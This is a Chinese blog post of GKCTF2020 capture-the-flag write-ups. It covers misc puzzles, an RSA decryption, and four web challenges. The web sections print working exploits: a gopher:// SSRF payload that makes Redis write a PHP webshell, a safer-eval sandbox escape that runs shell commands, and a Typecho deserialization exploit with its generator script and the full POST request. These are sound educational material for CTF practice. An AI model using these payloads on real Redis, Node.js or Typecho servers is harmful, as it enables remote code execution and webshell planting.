部分WP(补)-GKCTF2020

本篇内容

MISC:

[GKCTF2020]Harley Quinn
[GKCTF2020]Sail a boat down the river

Crypto:

[GKCTF2020]Backdoor

Web:

[GKCTF2020]cve版签到
[GKCTF2020]EZ三剑客-EzWeb
[GKCTF2020]EZ三剑客-EzNode
[GKCTF2020]EZ三剑客-EzTypecho

上一篇 | 目录 | 下一篇

以下内容参考官方WP,在GKCTF的QQ群文件里的GKCTF2020_官方WriteUp.pdf文件。

[GKCTF2020]Harley Quinn

音频解码可能有误差,密码为有意义的无空格小写短句 解密版本为1.25
hint1:电话音&九宫格
hint2:FreeFileCamouflage,下载的文件可能显示乱码

压缩包打开有提示:
在这里插入图片描述
听一下Heathens.wav,歌的最后有拨号音,提取出来,我将它命令为aaa.wav。
使用dtmf2num.exe分析:
在这里插入图片描述
然后Heathens.wav里提示这是密码。
在这里插入图片描述

对着九宫格输入法解一下就能出密码。
在这里插入图片描述

#22283334447777338866#
#c  tf  i  s   e u n#
这里我用dtmf2num.exe分析的稍微有点问题,但是结合语义不难发现密码是“ctfisfun”。

然后使用Free File Camouflage v1.25工具解密即可得到flag。
在这里插入图片描述
flag{Pudd1n!!_y0u_F1nd_m3!}





[GKCTF2020]Sail a boat down the river

hint:闪烁的光芒,是一行不是一列,加密方式很常见

首先是flag.mp4视频里的二维码扫描得到一个网盘链接。
在这里插入图片描述

https://pan.baidu.com/s/1tygt0Nm_G5fTfVFlgxVcrQ

然后是真的想不到的一点,按照视频里的摄像头闪光长短转换成摩斯密码
先将视频转成帧,我用的ps转成的共有499帧。在视频118-130帧、200-208帧、320-334帧、410-418帧有闪烁。短是1帧,⻓是3帧

 -.--/.--/---../--.

解码得yw8g
打开网盘链接取得shudu.txt

0 8 1 7 4 0 0 0 0
3 0 2 0 6 8 0 0 0
4 0 6 5 0 0 8 2 0
0 3 0 0 0 0 0 5 6
7 0 4 3 0 9 2 0 1
1 2 0 0 0 0 0 4 0
0 5 9 0 0 4 1 0 8
0 0 0 1 8 0 9 0 2
0 0 0 0 9 7 4 6 0

密文:
efb851bdc71d72b9ff668bddd30fd6bd
密钥:
第一列九宫格从左到右从上到下

注意:这里根据hint知道是写错了,是一行不是一列
琳琅在线自动求解数独,结果如下:
在这里插入图片描述
用第一行九宫格从左到右从上到下得到密钥52693795149137
这里使用AES的hex加密算法。
在这里插入图片描述
自己对AES确实不了解,看的官方WP用的这种方式解出来的GG0kc.tf
GG0kc.tf就是题目附件中的vocal.rar的密码,解压得到逆光 vocal.ovex文件。
使用Overture 5打谱软件打开,在歌词里看到flag。
在这里插入图片描述
flag{gkctf_is_fun}





[GKCTF2020]Backdoor
官方WP就给了一个脚本,说实话我是真的看不懂。以下写写我自己的理解。
下载附件,得到flag.encpub.pemtask.py

#!/usr/bin/python
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import gmpy2, binascii
import base64
from FLAG import flag

def rsa_encrypt(message):
    with open('./pub.pem' ,'r') as f:
        key = RSA.import_key(f.read())
    e = key.e
    n = key.n
    c = pow(bytes_to_long(flag), e, n)
 
    ciphertext = binascii.hexlify(long_to_bytes(c))
    return ciphertext

if __name__ == "__main__":
    text = base64.b64encode(rsa_encrypt(flag))
    with open('flag.enc','wb') as f:
        f.write(text)

首先由pub.pem可以得到e,n,这个是不会变的。

e = 65537
n = 15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739

然后要分解n得到p,q,但是题目中给的p=k*M+(65537**a %M)提示我用不来,但是在http://factordb.com/可以大整数分解得到p,q

p = 4582433561127855310805294456657993281782662645116543024537051682479
q = 3386619977051114637303328519173627165817832179845212640767197001941

知道p,q,e就能得到d

d= 11499569785990181290142150447540986299729313689398043794865222914751456271097337104622884992345120278959213140333860537563347711742153

flag.enc经过base64解密的结果就是ciphertext,进而得到密文c

MDIxNDJhZjdjZTcwZmUwZGRhZTExNmJiN2U5NjI2MDI3NGVlOTI1MmE4Y2I1MjhlN2ZkZDI5ODA5YzJhNjAzMjcyN2MwNTUyNjEzM2FlNDYxMGVkOTQ0NTcyZmYxYWJmY2QwYjE3YWEyMmVmNDRhMg==
#base64解密得到ciphertext
ciphertext = 02142af7ce70fe0ddae116bb7e96260274ee9252a8cb528e7fdd29809c2a6032727c05526133ae4610ed944572ff1abfcd0b17aa22ef44a2
#经过bytes_to_long(binascii.unhexlify(ciphertext))得到密文c
c = 5902102609936183530036413041949205016072856184947596155784933422689438216690059498706287388882989673839294236821030261398121787376802

最终py脚本:

#Author: 空舵
from Cryptodome.Util.number import *
from Cryptodome.PublicKey import RSA
import gmpy2, binascii
import base64

def decrypt():
    with open('./pub.pem' ,'r') as f:
        key = RSA.import_key(f.read())
    e = key.e
    n = key.n
    print('e = %d\nn = %d'%(e,n))

    ciphertext = b'02142af7ce70fe0ddae116bb7e96260274ee9252a8cb528e7fdd29809c2a6032727c05526133ae4610ed944572ff1abfcd0b17aa22ef44a2'
    c = bytes_to_long(binascii.unhexlify(ciphertext))
    print('c =',c)
    
    p = 4582433561127855310805294456657993281782662645116543024537051682479
    q = 3386619977051114637303328519173627165817832179845212640767197001941
    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)
    print("d =",d)

    m = pow(c,d,n)
    print('m =',m)
    print('long_to_bytes(m) =',long_to_bytes(m))

if __name__ == "__main__":
    decrypt()

这里注意,脚本中的Cryptodome可能需要改为Crypto,我的Crypto库不能用,只能用这个Cryptodome
在这里插入图片描述
得到最终flag:
flag{760958c9-cca9-458b-9cbe-ea07aa1668e4}





[GKCTF2020]cve版签到
在这里插入图片描述

hint:cve-2020-7066

搜索后可以该漏洞:

PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞;
get_headers($url)函数中的内容可以被%00截断。

在这里插入图片描述
在这里插入图片描述
结合get_headers()函数的漏洞,使用%00截断使其访问127.0.0.1
在这里插入图片描述
在这里插入图片描述
得到最终动态flag。





[GKCTF2020]EZ三剑客-EzWeb
在这里插入图片描述
右键源代码看到<!--?secret-->
在这里插入图片描述
通过内网探测可以发现173.97.195.11上开着web服务。
在这里插入图片描述
根据提示说的是端口,进⼀步发现.11开着6379端⼝
在这里插入图片描述
利用gopher://协议进行SSRF。
在这里插入图片描述
将生成的127.0.0.1:6379改为对应的IP:port

gopher:///173.97.195.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%20%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

在这里插入图片描述
点击提交后直接打开一个新标签页访问173.97.195.11/shell.php即可得到flag。
在这里插入图片描述





[GKCTF2020]EZ三剑客-EzNode

Nodejs不会,本题也看不懂,直接照着官方WP做了一遍。还有参考Y1ng师傅的WP

考点:
Nodejs内置函数特性
Nodejs库漏洞搜寻
saferEval沙箱逃逸
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});
这里就是拿60*1000与我们传入的delay进行比较,选一个比较大的数,但是数太大的话就会超时。

setTimeout 当 delay ⼤于 2147483647 或⼩于 1 时,则 delay 将会被设置为 1。 
⾮整数的 delay 会被截断为整数。

所以直接传入?delay=99999999999绕过timeout。
接着查看版本,猜测是跟safer-eval有关。是saferEval的RCE,虽然它本身是个沙箱来保证eval的安全性,但是可以逃逸,参考https://github.com/commenthol/safer-eval/issues/10
在这里插入图片描述
直接拿来用就能拿到flag。

e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

在这里插入图片描述





[GKCTF2020]EZ三剑客-EzTypecho
在这里插入图片描述
解题参考GKCTF2020-后四道WEB复现-wpTypecho反序列化漏洞导致前台getshell
漏洞存在的位置:
在这里插入图片描述
exp:

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'system("cat /flag");';
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

运行得到

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

又由于必须存在referer。
在这里插入图片描述
构造最终payload:

http://e0067099-feab-4000-b11d-ea7adddb62aa.node3.buuoj.cn/install.php?start=

POST:
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

Referer:http://e0067099-feab-4000-b11d-ea7adddb62aa.node3.buuoj.cn/install.php

在这里插入图片描述
得到最终flag。





========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/106334413
========================================================

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章